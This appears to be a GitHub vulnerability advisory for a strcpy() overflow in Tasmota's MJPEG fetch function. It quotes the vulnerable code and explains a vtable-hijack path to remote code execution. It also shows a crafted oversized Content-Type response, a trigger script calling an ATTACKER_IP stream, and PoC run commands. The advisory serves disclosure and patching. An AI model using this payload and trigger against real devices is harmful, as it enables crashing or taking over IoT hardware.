sermikr0/CVE-2026-38426

GitHub: sermikr0/CVE-2026-38426

Stars: 0 | Forks: 0

# CVE-2026-38426: strcpy() Stack Buffer Overflow in Tasmota fetch_jpg() boundary[40] **CVE:** CVE-2026-38426 **Severity:** Critical (CVSS 9.8) **Product:** Arendst Tasmota **Affected Version:** <= 15.3.0.3 **File:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino` **Function:** `fetch_jpg()` — case 0 (initial connection) **Author:** Saidakbarxon Maxsudxonov **Disclosure:** Responsible — reported to Tasmota before publication ## Summary A classic `strcpy()` buffer overflow vulnerability exists in the `fetch_jpg()` function of Tasmota's scripter driver. The MJPEG boundary string extracted from the HTTP `Content-Type` response header is copied into a fixed 40-byte buffer (`boundary[40]`) without any length validation. An attacker controlling the MJPEG HTTP server can supply a boundary string longer than 39 characters to overflow the buffer and corrupt adjacent heap memory — potentially achieving remote code execution on the ESP32. ## Vulnerable Code // tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino struct JPG_TASK { char boundary[40]; // ← FIXED SIZE — only 40 bytes! bool draw; uint8_t scale; uint16_t xp; uint16_t yp; WiFiClient stream; // contains vtable pointer HTTPClient http; // contains vtable pointer } jpg_task; // Case 0: initial connection String boundary = http.header("Content-Type"); // Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars) char *cp = strchr(boundary.c_str(), '='); if (cp) { strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW! } ## Heap Memory Layout (ESP32) struct JPG_TASK layout: +0x00 boundary[40] ← overflow starts here +0x28 draw (bool) ← corrupted +0x29 scale (uint8_t) ← corrupted +0x2A xp (uint16_t) ← corrupted +0x2C yp (uint16_t) ← corrupted +0x2E WiFiClient ← vtable ptr overwritten → RCE +0x7E HTTPClient ← vtable ptr overwritten → RCE Overwriting the `WiFiClient` or `HTTPClient` vtable pointer with an attacker-controlled value triggers RCE when any virtual method (`read()`, `write()`, `connect()`) is subsequently called. ## Attack Scenario The attacker runs an HTTP server that Tasmota connects to via `fetchjp()`. The server responds with a `Content-Type` header containing a boundary string longer than 39 characters: HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Tasmota's `strcpy()` copies 50+ bytes into the 40-byte `boundary` buffer, overflowing into adjacent struct fields. **Trigger via Tasmota script:** >D >B fetchjp(ATTACKER_IP:PORT/stream,0,0,1) ## Proof of Concept python3 CVE-2026-38426_poc.py --port 8888 --mode crash python3 CVE-2026-38426_poc.py --port 8888 --mode info See [CVE-2026-38426_poc.py](CVE-2026-38426_poc.py) for full implementation. ## Impact - **Confidentiality:** High (RCE via vtable hijack on ESP32) - **Integrity:** High - **Availability:** High (guaranteed crash) - **Attack Vector:** Network - **Authentication:** None required ## Timeline - **2026-03-29:** Vulnerability discovered and reported to MITRE - **2026-03-29:** CVE-2026-38426 assigned - **2026-05-xx:** Patch released by Tasmota (v15.3.0.4+) ## References - [Tasmota GitHub](https://github.com/arendst/Tasmota) - [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino) - CVE-2026-38426